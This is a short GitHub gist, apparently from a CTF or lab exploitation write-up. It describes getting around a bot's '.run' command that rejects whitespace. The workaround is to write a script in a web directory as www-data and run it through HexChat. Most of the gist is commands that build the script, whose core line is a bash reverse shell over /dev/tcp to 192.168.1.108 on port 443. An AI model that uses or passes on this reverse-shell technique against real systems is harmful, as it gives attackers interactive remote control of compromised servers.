Skip to content

Instantly share code, notes, and snippets.

@avicoder
Created January 7, 2017 13:04
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save avicoder/7d06ce200a137a872fbdcef1f320b7a8 to your computer and use it in GitHub Desktop.
Workaround

I'd faced issue while executing any command using .run command as it doesn't supporting white spaces and raising exception(for example ls index.html).

I figured up it by creating a .sh file with limited privledge session(www-data) in /html directory.

echo "#! bin/bash" > abc.sh
echo $'\n' >> abc.sh
echo "bash -i >& /dev/tcp/192.168.1.108/443 0>&1" >>abc.sh
chmod +x abc.sh

Now in hexchat exexcute: .run /var/www/html/abc.sh

Thanks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment